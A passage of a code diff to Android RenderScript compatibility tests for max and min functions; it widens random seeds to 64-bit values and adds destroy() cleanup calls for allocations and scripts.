     private void verifyResultsMaxUint3Uint3Uint3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3023,13 +3178,14 @@
     }
 
     private void checkMaxUint4Uint4Uint4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xcbc2f862l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xcbc2f863l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x8c04758cbc2f862l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x8c04758cbc2f863l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUint4Uint4Uint4(inA, out);
             verifyResultsMaxUint4Uint4Uint4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUint4Uint4Uint4: " + e.toString());
         }
@@ -3038,9 +3194,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUint4Uint4Uint4(inA, out);
             verifyResultsMaxUint4Uint4Uint4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUint4Uint4Uint4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUint4Uint4Uint4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3107,13 +3266,14 @@
     }
 
     private void checkMaxLongLongLong() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x85eceb84l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x85eceb85l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x542587285eceb84l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x542587285eceb85l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxLongLongLong(inA, out);
             verifyResultsMaxLongLongLong(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxLongLongLong: " + e.toString());
         }
@@ -3122,9 +3282,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxLongLongLong(inA, out);
             verifyResultsMaxLongLongLong(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxLongLongLong: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxLongLongLong(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3185,13 +3348,14 @@
     }
 
     private void checkMaxLong2Long2Long2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xc249c9dal, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xc249c9dbl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xc5c0bac4c249c9dal, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xc5c0bac4c249c9dbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxLong2Long2Long2(inA, out);
             verifyResultsMaxLong2Long2Long2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxLong2Long2Long2: " + e.toString());
         }
@@ -3200,9 +3364,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxLong2Long2Long2(inA, out);
             verifyResultsMaxLong2Long2Long2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxLong2Long2Long2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxLong2Long2Long2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3263,13 +3430,14 @@
     }
 
     private void checkMaxLong3Long3Long3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x20e8daa9l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x20e8daaal, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xeb753aae20e8daa9l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xeb753aae20e8daaal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxLong3Long3Long3(inA, out);
             verifyResultsMaxLong3Long3Long3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxLong3Long3Long3: " + e.toString());
         }
@@ -3278,9 +3446,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxLong3Long3Long3(inA, out);
             verifyResultsMaxLong3Long3Long3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxLong3Long3Long3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxLong3Long3Long3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3341,13 +3512,14 @@
     }
 
     private void checkMaxLong4Long4Long4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x7f87eb78l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x7f87eb79l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x1129ba977f87eb78l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x1129ba977f87eb79l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxLong4Long4Long4(inA, out);
             verifyResultsMaxLong4Long4Long4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxLong4Long4Long4: " + e.toString());
         }
@@ -3356,9 +3528,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxLong4Long4Long4(inA, out);
             verifyResultsMaxLong4Long4Long4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxLong4Long4Long4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxLong4Long4Long4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3425,13 +3600,14 @@
     }
 
     private void checkMaxUlongUlongUlong() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x8f18baafl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x8f18bab0l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x8d1ad8f38f18baafl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x8d1ad8f38f18bab0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUlongUlongUlong(inA, out);
             verifyResultsMaxUlongUlongUlong(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUlongUlongUlong: " + e.toString());
         }
@@ -3440,9 +3616,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUlongUlongUlong(inA, out);
             verifyResultsMaxUlongUlongUlong(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUlongUlongUlong: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUlongUlongUlong(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3503,13 +3682,14 @@
     }
 
     private void checkMaxUlong2Ulong2Ulong2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x5946bc65l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x5946bc66l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x6e2049a55946bc65l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x6e2049a55946bc66l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUlong2Ulong2Ulong2(inA, out);
             verifyResultsMaxUlong2Ulong2Ulong2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUlong2Ulong2Ulong2: " + e.toString());
         }
@@ -3518,9 +3698,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUlong2Ulong2Ulong2(inA, out);
             verifyResultsMaxUlong2Ulong2Ulong2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUlong2Ulong2Ulong2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUlong2Ulong2Ulong2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3581,13 +3764,14 @@
     }
 
     private void checkMaxUlong3Ulong3Ulong3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x5b24be06l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x5b24be07l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xc28527c55b24be06l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xc28527c55b24be07l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUlong3Ulong3Ulong3(inA, out);
             verifyResultsMaxUlong3Ulong3Ulong3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUlong3Ulong3Ulong3: " + e.toString());
         }
@@ -3596,9 +3780,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUlong3Ulong3Ulong3(inA, out);
             verifyResultsMaxUlong3Ulong3Ulong3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUlong3Ulong3Ulong3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUlong3Ulong3Ulong3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3659,13 +3846,14 @@
     }
 
     private void checkMaxUlong4Ulong4Ulong4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x5d02bfa7l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x5d02bfa8l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x16ea05e55d02bfa7l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x16ea05e55d02bfa8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMaxUlong4Ulong4Ulong4(inA, out);
             verifyResultsMaxUlong4Ulong4Ulong4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUlong4Ulong4Ulong4: " + e.toString());
         }
@@ -3674,9 +3862,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMaxUlong4Ulong4Ulong4(inA, out);
             verifyResultsMaxUlong4Ulong4Ulong4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMaxUlong4Ulong4Ulong4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMaxUlong4Ulong4Ulong4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMin.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMin.java
index c806d18..621e99c 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMin.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMin.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestMinRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inA;
         public float inB;
@@ -44,13 +51,14 @@
     }
 
     private void checkMinFloatFloatFloat() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7121573el, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7121573fl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xbdad0b097121573el, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xbdad0b097121573fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinFloatFloatFloat(inA, out);
             verifyResultsMinFloatFloatFloat(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinFloatFloatFloat(inA, out);
             verifyResultsMinFloatFloatFloat(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloatFloatFloat: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinFloatFloatFloat(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkMinFloat2Float2Float2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x49b4e454l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x49b4e455l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x2f1cc4b149b4e454l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x2f1cc4b149b4e455l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinFloat2Float2Float2(inA, out);
             verifyResultsMinFloat2Float2Float2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinFloat2Float2Float2(inA, out);
             verifyResultsMinFloat2Float2Float2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat2Float2Float2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinFloat2Float2Float2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkMinFloat3Float3Float3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x4b92e5f5l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x4b92e5f6l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8381a2d14b92e5f5l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8381a2d14b92e5f6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinFloat3Float3Float3(inA, out);
             verifyResultsMinFloat3Float3Float3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinFloat3Float3Float3(inA, out);
             verifyResultsMinFloat3Float3Float3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat3Float3Float3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinFloat3Float3Float3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkMinFloat4Float4Float4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4d70e796l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4d70e797l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd7e680f14d70e796l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd7e680f14d70e797l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinFloat4Float4Float4(inA, out);
             verifyResultsMinFloat4Float4Float4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinFloat4Float4Float4(inA, out);
             verifyResultsMinFloat4Float4Float4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat4Float4Float4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinFloat4Float4Float4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkMinHalfHalfHalf() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf239c45l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf239c46l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x561e96e00f239c45l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x561e96e00f239c46l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinHalfHalfHalf(inA, out);
             verifyResultsMinHalfHalfHalf(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinHalfHalfHalf(inA, out);
             verifyResultsMinHalfHalfHalf(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalfHalfHalf: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinHalfHalfHalf(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkMinHalf2Half2Half2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa8079b33l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa8079b34l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8d1d4d26a8079b33l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8d1d4d26a8079b34l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinHalf2Half2Half2(inA, out);
             verifyResultsMinHalf2Half2Half2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinHalf2Half2Half2(inA, out);
             verifyResultsMinHalf2Half2Half2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf2Half2Half2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinHalf2Half2Half2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkMinHalf3Half3Half3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6a6ac02l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x6a6ac03l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb2d1cd1006a6ac02l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb2d1cd1006a6ac03l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinHalf3Half3Half3(inA, out);
             verifyResultsMinHalf3Half3Half3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinHalf3Half3Half3(inA, out);
             verifyResultsMinHalf3Half3Half3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf3Half3Half3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinHalf3Half3Half3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkMinHalf4Half4Half4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x6545bcd1l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x6545bcd2l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd8864cf96545bcd1l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd8864cf96545bcd2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinHalf4Half4Half4(inA, out);
             verifyResultsMinHalf4Half4Half4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinHalf4Half4Half4(inA, out);
             verifyResultsMinHalf4Half4Half4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinHalf4Half4Half4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinHalf4Half4Half4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -704,13 +743,14 @@
     }
 
     private void checkMinFloat2FloatFloat2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x503b89a6l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x503b89a7l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe354e297503b89a6l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe354e297503b89a7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinFloat2FloatFloat2(inA, out);
             verifyResultsMinFloat2FloatFloat2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat2FloatFloat2: " + e.toString());
         }
@@ -719,9 +759,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinFloat2FloatFloat2(inA, out);
             verifyResultsMinFloat2FloatFloat2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat2FloatFloat2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinFloat2FloatFloat2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -783,13 +826,14 @@
     }
 
     private void checkMinFloat3FloatFloat3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3ea67e02l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x3ea67e03l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x38a495af3ea67e02l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x38a495af3ea67e03l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinFloat3FloatFloat3(inA, out);
             verifyResultsMinFloat3FloatFloat3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat3FloatFloat3: " + e.toString());
         }
@@ -798,9 +842,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinFloat3FloatFloat3(inA, out);
             verifyResultsMinFloat3FloatFloat3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat3FloatFloat3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinFloat3FloatFloat3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -862,13 +909,14 @@
     }
 
     private void checkMinFloat4FloatFloat4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2d11725el, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2d11725fl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8df448c72d11725el, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x8df448c72d11725fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinFloat4FloatFloat4(inA, out);
             verifyResultsMinFloat4FloatFloat4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinFloat4FloatFloat4: " + e.toString());
         }
@@ -877,9 +925,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinFloat4FloatFloat4(inA, out);
